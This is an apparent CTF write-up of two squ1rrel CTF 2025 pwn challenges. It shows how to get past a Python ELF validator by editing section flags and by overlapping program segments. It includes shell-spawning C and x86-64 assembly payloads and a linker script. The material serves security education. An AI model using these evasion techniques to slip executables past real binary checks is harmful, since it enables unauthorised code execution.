squ1rrel CTF 2025 writeup in English

Solved two PWN challenges, documenting the process here.

Click here to visit the original Chinese version.

Extremely Lame Filters 1

The challenge provides two files: fairy.py and elf.py. elf.py is an ELF file parser, while fairy.py is the main program.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))
elf = parse(data)

for section in elf.sections:
if section.sh_flags & SectionFlags.EXECINSTR:
raise ValidationException("!!")

elf.run()

The program accepts a base64-encoded string as input, decodes it into an ELF file, and checks whether the file contains any executable sections. If none exist, it executes the ELF.

This involves knowledge of ELF file structure: sections and segments are parallel concepts. The loader ignores section information when loading ELFs. Even if section headers are completely removed using strip --strip-section-headers, the program can still run normally.

The solution is to manually modify the section information in the ELF file using a hex editor. Compile a program like the following into an ELF, then modify the executable permission flags (originally 06) in the section headers to 02 (non-executable) while preserving the actual executable segments.

1
2
3
4
5
#include <stdlib.h>
int main()
{
system("/bin/sh");
}

Extremely Lame Filters 2

An upgraded version of the previous challenge. The modified fairy.py now checks: the program will only run if it not contains executable segments with non-zero content.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)"))
elf = parse(data)

if elf.header.e_type != constants.ET_EXEC:
print("!!")
exit(1)

for segment in elf.segments:
if segment.p_flags & SegmentFlags.X:
content = elf.content(segment)
for byte in content:
if byte != 0:
print(">:(")
exit(1)

elf.run()

Unlike sections, the loader sets memory permissions based on segment information. If the machine code resides in non-executable memory, it will cause a segmentation fault. Thus, simply modifying permissions won’t work here.

A viable approach (and the one I used) is segment overlapping: construct multiple segments in the ELF where:

  1. The machine code segment has no execute permission and appears earlier in the program header table.
  2. A blank executable segment with the same virtual address appears later in the table.
  3. The machine code entry point starts at offset n within its segment, while the blank segment’s size is exactly n (n ≠ 0). This ensures the blank segment’s permissions override the original segment’s permissions during loading.

This leverages the loader to copy the machine code into executable memory while passing the challenge’s checks.

To simplify segment management, I wrote assembly code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
BITS 64

section .text
global _start
times 0x10 db 0
_start:
sub rsp, 8
mov byte [rsp], 0x2f ; '/'
mov byte [rsp+1], 0x62 ; 'b'
mov byte [rsp+2], 0x69 ; 'i'
mov byte [rsp+3], 0x6e ; 'n'
mov byte [rsp+4], 0x2f ; '/'
mov byte [rsp+5], 0x73 ; 's'
mov byte [rsp+6], 0x68 ; 'h'
mov byte [rsp+7], 0x00 ; null terminator

xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
lea rdi, [rsp] ; rdi = pointer to "/bin/sh"
mov eax, 59 ; syscall number for execve
syscall ; execve("/bin/sh", NULL, NULL)

section .rodata
times 8 dq 0

With a custom linker script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ENTRY(_start)

SECTIONS
{
. = 0x400000;

.text 0x400000 : {
*(.text)
}

.text_exe 0x400000 : {
. = . + 0x1000;
}

.rodata 0x402000 : {
*(.rodata)
}
}

After compilation, I manually modify the ELF:

  1. Remove executable permission from the .text segment.
  2. Add executable permission to the .text_exe segment.

The diagram below illustrates the modifications:

wp.png

Finally, use Python’s base64 encoding and pwntools to upload the file to the competition platform. Executing cat ./flag.txt yields the flag.


After solving the second challenge, I discussed it with c10uds, who proposed a much simpler approach: Write a program similar to the first challenge, ensure the first n bytes of the executable segment are zeros, then directly set the executable segment’s size to n. This would pass the check in elf.py while still allowing the loader to properly load and execute the full segment.

I was stunned.